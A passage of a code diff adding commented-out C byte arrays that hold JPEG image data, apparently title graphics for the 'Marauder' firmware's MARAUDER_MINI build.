+ 0xe7, 0x5f, 0xf8, 0x24, 0xb7, 0xfc, 0x12, 0x93, 0xc0, 0x7f, 0xf0, 0x4a, 0x1f, 0xd9, 0xba, 0xcf,
+ 0xc2, 0x3e, 0x1b, 0x86, 0xdf, 0x53, 0xf1, 0x56, 0xa3, 0x1c, 0x73, 0x78, 0x9f, 0xc4, 0x86, 0x0d,
+ 0x97, 0x1a, 0xe5, 0xd0, 0x1c, 0x91, 0x92, 0x4c, 0x70, 0x29, 0x24, 0x47, 0x16, 0x48, 0x50, 0x79,
+ 0x25, 0x8b, 0x31, 0xfa, 0x67, 0xc5, 0x1e, 0x29, 0xd3, 0x7c, 0x11, 0xe1, 0xbb, 0xed, 0x63, 0x58,
+ 0xbe, 0xb5, 0xd2, 0xf4, 0x9d, 0x2e, 0x07, 0xba, 0xbb, 0xbb, 0xba, 0x94, 0x45, 0x0d, 0xb4, 0x48,
+ 0x0b, 0x33, 0xbb, 0x1e, 0x15, 0x40, 0x04, 0x92, 0x6a, 0xfd, 0x7e, 0x3b, 0xff, 0x00, 0xc1, 0xe7,
+ 0xdf, 0x16, 0x7c, 0x49, 0xf0, 0xff, 0x00, 0xfe, 0x09, 0xfd, 0xe0, 0x1d, 0x1f, 0x44, 0xd6, 0xb5,
+ 0x0d, 0x2f, 0x4b, 0xf1, 0x77, 0x8b, 0x8d, 0x8e, 0xb3, 0x6f, 0x6d, 0x29, 0x8d, 0x75, 0x28, 0x12,
+ 0xd2, 0x59, 0x56, 0x29, 0x31, 0xcb, 0x20, 0x91, 0x55, 0xb6, 0xf4, 0x24, 0x0c, 0xe6, 0x80, 0x3f,
+ 0x3c, 0xbf, 0xe0, 0xe1, 0xcf, 0xf8, 0x38, 0x6f, 0x52, 0xfd, 0xbf, 0xbc, 0x49, 0xa8, 0x7c, 0x25,
+ 0xf8, 0x4b, 0xa8, 0x5d, 0x69, 0x7f, 0x06, 0x34, 0xb9, 0xcc, 0x77, 0xb7, 0xb1, 0x93, 0x14, 0xde,
+ 0x2f, 0x95, 0x0f, 0xdf, 0x7e, 0xe2, 0xd4, 0x11, 0x94, 0x43, 0xf7, 0xf8, 0x66, 0xe3, 0x00, 0x7e,
+ 0x4c, 0x66, 0x82, 0x73, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14, 0x51,
+ 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x15, 0xfa, 0x4d, 0xff, 0x00, 0x04,
+ 0x0a, 0xff, 0x00, 0x82, 0xfa, 0x78, 0x87, 0xfe, 0x09, 0x69, 0xf1, 0x0e, 0x1f, 0x05, 0xf8, 0xd2,
+ 0x6d, 0x43, 0xc4, 0x1f, 0x02, 0xfc, 0x41, 0x75, 0xba, 0xfa, 0xc5, 0x73, 0x2c, 0xfe, 0x19, 0x99,
+ 0xcf, 0xcd, 0x7b, 0x68, 0xbd, 0x4a, 0x93, 0xcc, 0xb0, 0x8f, 0xbd, 0xcb, 0x2f, 0xcf, 0x90, 0xff,
+ 0x00, 0x9b, 0x34, 0x50, 0x07, 0xf7, 0xbd, 0xf0, 0xbf, 0xe2, 0x87, 0x87, 0xbe, 0x35, 0x7c, 0x3d,
+ 0xd1, 0xfc, 0x59, 0xe1, 0x3d, 0x63, 0x4f, 0xf1, 0x07, 0x86, 0xfc, 0x41, 0x6a, 0x97, 0xba, 0x76,
+ 0xa3, 0x65, 0x30, 0x9a, 0xde, 0xee, 0x17, 0x19, 0x57, 0x56, 0x1c, 0x10, 0x41, 0xfc, 0x2b, 0xf1,
+ 0x2f, 0xfe, 0x0f, 0x72, 0xf8, 0xc7, 0xe1, 0xd4, 0xf8, 0x11, 0xf0, 0x63, 0xc0, 0x1f, 0xda, 0x11,
+ 0xbf, 0x8a, 0xa6, 0xf1, 0x05, 0xce, 0xbd, 0xf6, 0x25, 0x1b, 0x9a, 0x2b, 0x38, 0xed, 0x9a, 0x03,
+ 0x23, 0xff, 0x00, 0x77, 0x32, 0x4c, 0xa1, 0x41, 0xe5, 0xb6, 0xb6, 0x3e, 0xe9, 0xaf, 0x91, 0x7f,
+ 0xe0, 0xd9, 0x8f, 0x8f, 0x7e, 0x3a, 0xd0, 0x74, 0xef, 0x8a, 0x1e, 0x1f, 0xb1, 0xf1, 0xa7, 0x8b,
+ 0x2c, 0xb4, 0x1d, 0x36, 0xde, 0xd6, 0x7b, 0x4d, 0x36, 0x0d, 0x5e, 0xe2, 0x3b, 0x3b, 0x59, 0x24,
+ 0x69, 0xcb, 0xbc, 0x71, 0x2b, 0x84, 0x56, 0x62, 0x01, 0x24, 0x00, 0x4e, 0x39, 0xaf, 0xce, 0x1f,
+ 0xdb, 0x63, 0xe2, 0x5f, 0x89, 0x3e, 0x2b, 0xfe, 0xd5, 0xbe, 0x3f, 0xd5, 0x7c, 0x53, 0xe2, 0x0d,
+ 0x6f, 0xc4, 0xba, 0xa2, 0xeb, 0xd7, 0xd6, 0xc2, 0xf3, 0x55, 0xbe, 0x96, 0xf2, 0xe0, 0x45, 0x1d,
+ 0xc4, 0x8b, 0x1c, 0x7b, 0xe4, 0x66, 0x6d, 0xaa, 0xbc, 0x05, 0xce, 0x00, 0xe0, 0x50, 0x07, 0x96,
+ 0xd1, 0x45, 0x14, 0x00, 0x51, 0x45, 0x14, 0x00, 0x51, 0x45, 0x14, 0x01, 0xff, 0xd9
+};*/
+//#endif
+
+/*
+#ifdef MARAUDER_MINI
+ const uint8_t MarauderTitle[] PROGMEM = {
+ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60,
+ 0x00, 0x60, 0x00, 0x00, 0xFF, 0xE1, 0x00, 0x68, 0x45, 0x78, 0x69, 0x66, 0x00, 0x00, 0x4D, 0x4D,
+ 0x00, 0x2A, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, 0x01, 0x1A, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01,
+ 0x00, 0x00, 0x00, 0x3E, 0x01, 0x1B, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x46,
+ 0x01, 0x28, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x01, 0x31, 0x00, 0x02,
+ 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60,
+ 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x01, 0x70, 0x61, 0x69, 0x6E,
+ 0x74, 0x2E, 0x6E, 0x65, 0x74, 0x20, 0x34, 0x2E, 0x33, 0x2E, 0x31, 0x30, 0x00, 0x00, 0xFF, 0xDB,
+ 0x00, 0x43, 0x00, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01, 0x01, 0x01, 0x02, 0x02, 0x02,
+ 0x02, 0x02, 0x04, 0x03, 0x02, 0x02, 0x02, 0x02, 0x05, 0x04, 0x04, 0x03, 0x04, 0x06, 0x05, 0x06,
+ 0x06, 0x06, 0x05, 0x06, 0x06, 0x06, 0x07, 0x09, 0x08, 0x06, 0x07, 0x09, 0x07, 0x06, 0x06, 0x08,
+ 0x0B, 0x08, 0x09, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x06, 0x08, 0x0B, 0x0C, 0x0B, 0x0A, 0x0C, 0x09,
+ 0x0A, 0x0A, 0x0A, 0xFF, 0xDB, 0x00, 0x43, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x05, 0x03,
+ 0x03, 0x05, 0x0A, 0x07, 0x06, 0x07, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A,
+ 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A,
+ 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A,
+ 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00, 0x80, 0x00,
+ 0x80, 0x03, 0x01, 0x21, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xFF, 0xC4, 0x00, 0x1F, 0x00,
+ 0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5,
+ 0x10, 0x00, 0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03, 0x05, 0x05, 0x04, 0x04, 0x00, 0x00, 0x01,
+ 0x7D, 0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61,
+ 0x07, 0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xA1, 0x08, 0x23, 0x42, 0xB1, 0xC1, 0x15, 0x52, 0xD1,
+ 0xF0, 0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0A, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x25, 0x26, 0x27,
+ 0x28, 0x29, 0x2A, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
+ 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68,
+ 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88,
+ 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6,
+ 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4,
+ 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE1,
+ 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
+ 0xF8, 0xF9, 0xFA, 0xFF, 0xC4, 0x00, 0x1F, 0x01, 0x00, 0x03, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
+ 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+ 0x08, 0x09, 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x11, 0x00, 0x02, 0x01, 0x02, 0x04, 0x04, 0x03,
+ 0x04, 0x07, 0x05, 0x04, 0x04, 0x00, 0x01, 0x02, 0x77, 0x00, 0x01, 0x02, 0x03, 0x11, 0x04, 0x05,
+ 0x21, 0x31, 0x06, 0x12, 0x41, 0x51, 0x07, 0x61, 0x71, 0x13, 0x22, 0x32, 0x81, 0x08, 0x14, 0x42,
+ 0x91, 0xA1, 0xB1, 0xC1, 0x09, 0x23, 0x33, 0x52, 0xF0, 0x15, 0x62, 0x72, 0xD1, 0x0A, 0x16, 0x24,
+ 0x34, 0xE1, 0x25, 0xF1, 0x17, 0x18, 0x19, 0x1A, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x35, 0x36, 0x37,
+ 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57,
+ 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77,
+ 0x78, 0x79, 0x7A, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95,
+ 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3,
+ 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA,
+ 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8,
+ 0xE9, 0xEA, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFF, 0xDA, 0x00, 0x0C, 0x03,
+ 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00, 0xFE, 0x7F, 0xE8, 0xA0, 0x02, 0x8A, 0x00,
+ 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28,
+ 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0,
+ 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02,
+ 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x29, 0x4A, 0xE2, 0x80, 0x14, 0xA6, 0x3A, 0x9A, 0x36,
+ 0xE7, 0xA1, 0xA3, 0x70, 0x00, 0xB9, 0xEF, 0x40, 0x4F, 0x53, 0x45, 0x80, 0x40, 0xBE, 0xF4, 0xBB,
+ 0x31, 0xD4, 0xD3, 0x01, 0x36, 0xFA, 0x1A, 0x5D, 0x9C, 0x75, 0xA0, 0x00, 0x27, 0x19, 0xCD, 0x26,
+ 0xDF, 0x7A, 0x43, 0xB0, 0xBB, 0x78, 0xCE, 0x68, 0xD8, 0x7D, 0x68, 0x10, 0x85, 0x78, 0xCE, 0x69,
+ 0x28, 0x00, 0xAD, 0xAF, 0x87, 0xDA, 0x05, 0xA7, 0x8A, 0xBC, 0x6F, 0xA4, 0x78, 0x6E, 0xFA, 0x47,
+ 0x48, 0x75, 0x0D, 0x46, 0x1B, 0x79, 0x9E, 0x32, 0x37, 0x05, 0x77, 0x0A, 0x48, 0xCF, 0x7C, 0x1A,
+ 0xCB, 0x11, 0x51, 0xD1, 0xA1, 0x39, 0xAE, 0x89, 0xBF, 0xB9, 0x5C, 0xF4, 0x32, 0x8C, 0x25, 0x3C,
+ 0xC3, 0x35, 0xC3, 0xE1, 0x6A, 0x3B, 0x46, 0xA4, 0xE1, 0x16, 0xD6, 0xE9, 0x4A, 0x49, 0x37, 0xF7,
+ 0x33, 0x6F, 0xE3, 0x77, 0xC3, 0x8B, 0x0F, 0x87, 0x1E, 0x31, 0xFE, 0xCC, 0xD0, 0xEE, 0xE5, 0xB8,
+ 0xD3, 0x6E, 0xAD, 0xD6, 0x7D, 0x3E, 0x79, 0x98, 0x17, 0x65, 0xFB, 0xAC, 0x0E, 0x00, 0xE5, 0x5C,
+ 0x32, 0xF4, 0xED, 0x5A, 0xBE, 0x34, 0xF8, 0x35, 0xA2, 0xF8, 0x47, 0xE0, 0xCE, 0x9B, 0xE3, 0x39,
+ 0xAF, 0xAE, 0x5B, 0x5A, 0xB8, 0xB8, 0x83, 0xED, 0x96, 0xA5, 0x97, 0xCB, 0x8A, 0x29, 0xA3, 0x91,
+ 0xE3, 0xE3, 0x19, 0xDD, 0xB5, 0x54, 0xF5, 0xFE, 0x2A, 0xF2, 0x56, 0x69, 0x56, 0x54, 0x30, 0xB2,
+ 0xE5, 0xD6, 0xA3, 0x4A, 0x5E, 0x5A, 0x6B, 0xF7, 0x3B, 0x23, 0xF4, 0x4A, 0x9C, 0x07, 0x83, 0xA7,
+ 0x9A, 0x67, 0x94, 0x5D, 0x57, 0xEC, 0xF0, 0x50, 0x94, 0xA9, 0x4B, 0x4F, 0x7F, 0xDE, 0x4E, 0x9D,
+ 0xFC, 0xA5, 0x4F, 0x9A, 0x4F, 0xD0, 0x92, 0xC7, 0xE0, 0x86, 0x93, 0x73, 0xF0, 0x62, 0x4F, 0x18,
+ 0x49, 0xA9, 0x5C, 0x2E, 0xBE, 0xD6, 0xB2, 0x6A, 0x36, 0xFA, 0x78, 0xC6, 0xC7, 0xB1, 0x49, 0x04,
+ 0x6C, 0xDD, 0x33, 0xBB, 0x39, 0x3D, 0x7A, 0x2D, 0x54, 0xF0, 0x2F, 0x84, 0x7E, 0x14, 0xA7, 0xC3,
+ 0x99, 0x7C, 0x73, 0xF1, 0x25, 0xF5, 0xC6, 0xCE, 0xAF, 0xF6, 0x38, 0x23, 0xD1, 0xDA, 0x2F, 0xF9,
+ 0xE7, 0xBF, 0x27, 0x7F, 0xE3, 0xD0, 0xD6, 0x5F, 0xDA, 0x58, 0xBA, 0xD4, 0x6A, 0x2A, 0x29, 0x29,
+ 0xAA, 0x9C, 0xB1, 0xBD, 0xEC, 0xD7, 0x77, 0x6F, 0x46, 0x75, 0x47, 0x82, 0xF8, 0x77, 0x2B, 0xC7,
+ 0xE0, 0xE7, 0x99, 0xCE, 0xA3, 0xC3, 0xCF, 0x09, 0xED, 0xEA, 0x7B, 0x3E, 0x5E, 0x75, 0x34, 0xAE,
+ 0xE1, 0x1B, 0xD9, 0x68, 0xA5, 0x0B, 0xDF, 0xBB, 0x1D, 0xE2, 0x5F, 0x06, 0xFC, 0x25, 0xD6, 0x7C,
+ 0x05, 0x7F, 0xE3, 0x1F, 0x85, 0xD7, 0x9A, 0xD4, 0x72, 0x69, 0x37, 0x50, 0xA5, 0xF5, 0xAE, 0xB4,
+ 0x22, 0xF9, 0x92, 0x5C, 0x85, 0x64, 0x29, 0xE8, 0x54, 0xE7, 0x35, 0x63, 0xE1, 0x5F, 0xC1, 0x3D,
+ 0x2B, 0xC7, 0x1E, 0x07, 0xBC, 0xD6, 0xF5, 0x5B, 0xFB, 0x88, 0x75, 0x0B, 0xA9, 0x26, 0x83, 0xC3,
+ 0x70, 0x42, 0x46, 0xDB, 0x99, 0xA2, 0x85, 0xA5, 0x70, 0xD9, 0x1D, 0x30, 0x02, 0x8E, 0x47, 0x2D,
+ 0x45, 0x4C, 0xCF, 0x19, 0x85, 0xC0, 0xCA, 0x55, 0x92, 0xF6, 0x91, 0x9A, 0x8B, 0xB5, 0xED, 0x6B,
+ 0x29, 0x36, 0xBA, 0xFC, 0x2D, 0xFC, 0xD1, 0x58, 0x5E, 0x09, 0xE1, 0xBC, 0xF3, 0x8A, 0x28, 0xD1,
+ 0xCB, 0x6A, 0xD4, 0x58, 0x4A, 0xD4, 0x25, 0x52, 0x2E, 0x69, 0x73, 0xC6, 0x5C, 0xD2, 0xA5, 0x18,
+ 0xCA, 0xD7, 0x56, 0x75, 0x94, 0x55, 0xD3, 0xF8, 0x65, 0x7D, 0xCE, 0x6B, 0xC2, 0xDE, 0x0B, 0xD3,
+ 0xF5, 0xBF, 0x03, 0xF8, 0x9B, 0xC4, 0xB7, 0x73, 0xCC, 0xB7, 0x1A, 0x2C, 0x36, 0xEF, 0x6E, 0x88,
+ 0x46, 0xD6, 0x2F, 0x2E, 0xC2, 0x1B, 0x8F, 0x4E, 0x98, 0xA3, 0xE1, 0xDF, 0x82, 0xF4, 0xDF, 0x17,
+ 0x69, 0xDE, 0x20, 0xBC, 0xBD, 0xB8, 0x9A, 0x36, 0xD2, 0x74, 0x73, 0x77, 0x6F, 0xE5, 0xE3, 0x0C,
+ 0xFE, 0x6A, 0x2E, 0x1B, 0x23, 0xA6, 0x18, 0xD7, 0xA1, 0x53, 0x19, 0x38, 0x46, 0xAB, 0x4B, 0xE0,
+ 0x94, 0x57, 0xC9, 0xA8, 0xFF, 0x00, 0xF2, 0x47, 0xC9, 0xE0, 0x78, 0x73, 0x0F, 0x88, 0xAF, 0x80,
+ 0x84, 0xA4, 0xD7, 0xB7, 0xA5, 0x56, 0xA3, 0xF2, 0x74, 0xE5, 0x59, 0x24, 0xBC, 0x9F, 0xB2, 0x5F,
+ 0x7B, 0x3B, 0x4F, 0x18, 0x78, 0x63, 0xF6, 0x65, 0xF0, 0x3F, 0x89, 0xAE, 0xBC, 0x29, 0xAC, 0x0F,
+ 0x19, 0x4B, 0x75, 0x64, 0xC1, 0x26, 0x92, 0xDD, 0xAD, 0xB6, 0x16, 0xC0, 0xE9, 0x9C, 0x1C, 0x73,
+ 0xE9, 0x4C, 0xB5, 0xF8, 0x33, 0xE0, 0x28, 0x7E, 0x23, 0x5C, 0xE9, 0xD7, 0xDA, 0xA6, 0xA5, 0x3F,
+ 0x87, 0xD7, 0xC3, 0x2D, 0xAD, 0xDA, 0xC9, 0x6D, 0xB1, 0x6E, 0x1E, 0x1F, 0x2B, 0x78, 0x5E, 0x46,
+ 0xDD, 0xC3, 0x04, 0x1E, 0x83, 0x23, 0xB5, 0x78, 0xF1, 0xCC, 0x73, 0x88, 0x51, 0xF6, 0x95, 0x94,
+ 0x3D, 0xF8, 0x39, 0x46, 0xD7, 0xD1, 0xE9, 0xA4, 0xBE, 0x4F, 0xA7, 0x63, 0xF4, 0x3C, 0x47, 0x07,
+ 0x78, 0x73, 0x8C, 0xCC, 0xDE, 0x0F, 0x2E, 0x9E, 0x21, 0x3A, 0x15, 0xE3, 0x4E, 0xB7, 0x3A, 0x87,
+ 0xBD, 0x06, 0xE6, 0xA4, 0xE9, 0xD9, 0xBD, 0x54, 0xA1, 0xA7, 0x35, 0xBE, 0x24, 0x61, 0x78, 0x9A,
+ 0x3F, 0x80, 0x12, 0xE8, 0xED, 0x17, 0x82, 0xED, 0xFC, 0x58, 0x9A, 0x93, 0x3A, 0x08, 0x1B, 0x52,
+ 0xFB, 0x3F, 0x93, 0xF7, 0x86, 0xED, 0xDB, 0x79, 0xE9, 0x9C, 0x63, 0xBE, 0x2B, 0xA0, 0xF1, 0x7F,
+ 0x86, 0x7F, 0x66, 0x4F, 0x04, 0x78, 0x96, 0xEB, 0xC2, 0x9A, 0xB8, 0xF1, 0x94, 0xB7, 0x56, 0x52,
+ 0x04, 0x9A, 0x4B, 0x76, 0xB6, 0x31, 0xB3, 0x60, 0x1C, 0x8C, 0xE0, 0xE3, 0x9F, 0x4A, 0xE8, 0x95,
+ 0x6E, 0x20, 0xF7, 0x69, 0x2F, 0x67, 0xCE, 0xF9, 0x9B, 0xDE, 0xD6, 0x5C, 0xA9, 0x74, 0xDE, 0xEC,
+ 0xF2, 0xA8, 0x65, 0xFE, 0x12, 0xCE, 0x15, 0xF1, 0xD3, 0x58, 0xBF, 0xAB, 0xC1, 0xD2, 0x84, 0x55,
+ 0xA9, 0xF3, 0xF3, 0xCD, 0x55, 0x94, 0x9B, 0xF7, 0xAD, 0xCA, 0x94, 0x15, 0xB5, 0xBD, 0xEE, 0x71,
+ 0x7F, 0x16, 0x7C, 0x19, 0xA6, 0x78, 0x23, 0xC5, 0x7F, 0xD9, 0xDA, 0x0D, 0xF4, 0x97, 0x3A, 0x7D,
+ 0xD5, 0x9C, 0x17, 0x9A, 0x7C, 0xD3, 0x0C, 0x48, 0x61, 0x96, 0x30, 0xEA, 0x18, 0x7F, 0x78, 0x03,
+ 0x83, 0x5C, 0xBD, 0x7B, 0x18, 0x3A, 0xD2, 0xC4, 0x61, 0x61, 0x52, 0x4A, 0xCD, 0xA4, 0xDA, 0xF3,
+ 0xEA, 0x7E, 0x6F, 0xC4, 0x99, 0x6D, 0x1C, 0x9F, 0x3E, 0xC4, 0xE0, 0xA8, 0xCB, 0x9A, 0x14, 0xE7,
+ 0x28, 0xC5, 0xBD, 0xDC, 0x53, 0xF7, 0x5B, 0xF3, 0x6A, 0xD7, 0xF3, 0x0A, 0xEA, 0x3E, 0x0C, 0x06,
+ 0x1F, 0x16, 0x7C, 0x34, 0x31, 0xFF, 0x00, 0x31, 0xCB, 0x6F, 0xFD, 0x1A, 0xB4, 0x63, 0x3F, 0xDC,
+ 0xEA, 0x7F, 0x85, 0xFE, 0x4C, 0x7C, 0x35, 0xFF, 0x00, 0x25, 0x16, 0x0F, 0xFE, 0xBE, 0xD3, 0xFF,
+ 0x00, 0xD2, 0xE2, 0x7A, 0x36, 0x9B, 0xA6, 0x69, 0x9F, 0x14, 0xEE, 0xAF, 0xBC, 0x33, 0xAF, 0xDF,
+ 0x2C, 0x47, 0xC2, 0xFE, 0x22, 0x9E, 0xF2, 0x69, 0xA5, 0x61, 0x9F, 0xEC, 0xD6, 0x90, 0x99, 0x94,
+ 0x67, 0xAE, 0xD6, 0x19, 0x03, 0xFD, 0xB3, 0xEF, 0x55, 0x6F, 0x2F, 0xF5, 0x7F, 0x8B, 0xFE, 0x03,
+ 0xD4, 0x1E, 0xD6, 0xDF, 0xF7, 0xDA, 0xB7, 0x8F, 0x2D, 0x61, 0xB3, 0xB7, 0x5F, 0xBB, 0x12, 0x98,
+ 0x64, 0x58, 0xE3, 0x18, 0xE8, 0xAA, 0xB8, 0x03, 0xD0, 0x0A, 0xF9, 0x97, 0xFB, 0xA9, 0xDE, 0x5B,
+ 0x53, 0x71, 0x7F, 0xF8, 0x1B, 0x52, 0x7F, 0x75, 0x8F, 0xDB, 0xE3, 0x19, 0x66, 0x18, 0x77, 0x1A,
+ 0x56, 0x75, 0x31, 0x94, 0xEA, 0xC5, 0xAE, 0xB7, 0xC3, 0xC5, 0xD0, 0x8D, 0xFD, 0x79, 0xEE, 0x76,
+ 0xD2, 0xDE, 0x7C, 0x1A, 0xD3, 0xBE, 0x30, 0x5A, 0x4E, 0x7E, 0x32, 0xDB, 0x25, 0x96, 0x9F, 0x62,
+ 0x34, 0x46, 0xD1, 0x3F, 0xB2, 0xE5, 0x2A, 0xD0, 0xF9, 0x7E, 0x53, 0xA7, 0x99, 0xF7, 0x7E, 0x66,
+ 0x25, 0xB3, 0x8C, 0x67, 0x9F, 0x7A, 0xE7, 0x74, 0xEB, 0xAF, 0x0F, 0xFC, 0x14, 0xF8, 0x79, 0xAC,
+ 0x68, 0x7E, 0x3A, 0xF8, 0x7F, 0x6F, 0xE2, 0x15, 0xB5, 0xF1, 0x94, 0x96, 0xF1, 0xC1, 0x75, 0x31,
+ 0x45, 0x5C, 0x43, 0x91, 0x20, 0xC0, 0x3D, 0x57, 0xF9, 0xD7, 0x9D, 0x46, 0x39, 0x85, 0x68, 0xC6,
+ 0x84, 0xE2, 0xE8, 0xCA, 0x4A, 0x9D, 0xA5, 0x74, 0xEE, 0xD3, 0x7C, 0xD2, 0xB7, 0xFD, 0xBC, 0x8F,
+ 0xB0, 0xC7, 0xD6, 0xE1, 0x1C, 0xB7, 0x11, 0x5B, 0x34, 0xC3, 0x55, 0x8E, 0x63, 0x42, 0x84, 0xF1,
+ 0x4A, 0x74, 0x9C, 0x65, 0x05, 0x18, 0xD4, 0xA7, 0x05, 0x4E, 0x9B, 0x6D, 0xB6, 0xD2, 0xF6, 0x32,
+ 0xB3, 0x5A, 0x68, 0x65, 0xF8, 0x9B, 0xC6, 0x5E, 0x13, 0xF8, 0x8F, 0xF0, 0x93, 0x5A, 0x4F, 0x03,
+ 0x7C, 0x3C, 0xB6, 0xF0, 0xD7, 0xD8, 0x2F, 0xAC, 0xE4, 0xBC, 0x8A, 0xCE, 0x4F, 0x33, 0xED, 0xAA,
+ 0xEC, 0xEA, 0xAA, 0x49, 0x00, 0x8D, 0xA7, 0x91, 0xF5, 0xAE, 0x9F, 0x50, 0xB3, 0xF8, 0x79, 0xE0,
+ 0x5B, 0xEF, 0x07, 0xE8, 0x9A, 0x87, 0xC6, 0x08, 0x74, 0x5B, 0xFF, 0x00, 0x09, 0xC7, 0x1C, 0xB7,
+ 0xDA, 0x70, 0xD2, 0xE6, 0x93, 0x75, 0xCB, 0xB0, 0x92, 0x4D, 0xCC, 0x9C, 0x64, 0x82, 0x10, 0xF5,
+ 0xE0, 0x73, 0xE9, 0x5D, 0x35, 0x69, 0xE3, 0x68, 0xC5, 0x61, 0x52, 0x75, 0xA4, 0xA5, 0x36, 0xF5,
+ 0x4A, 0xE9, 0xC2, 0x29, 0x37, 0xE9, 0xCE, 0x97, 0xC8, 0xF1, 0x70, 0x38, 0xCE, 0x1A, 0xCC, 0xEA,
+ 0x4B, 0x3E, 0x9D, 0x48, 0xE5, 0x98, 0x79, 0x52, 0xC3, 0xC6, 0x9C, 0x54, 0x65, 0x52, 0x30, 0x94,
+ 0x71, 0x55, 0x26, 0xE2, 0x92, 0x69, 0xFB, 0xEF, 0x0F, 0x29, 0xB7, 0xD1, 0xCA, 0xC5, 0x0D, 0x53,
+ 0xE1, 0xD4, 0xCB, 0x7B, 0xF1, 0x1B, 0xC2, 0x3E, 0x08, 0xB6, 0x5B, 0xC1, 0xAB, 0xD9, 0xDA, 0x6A,
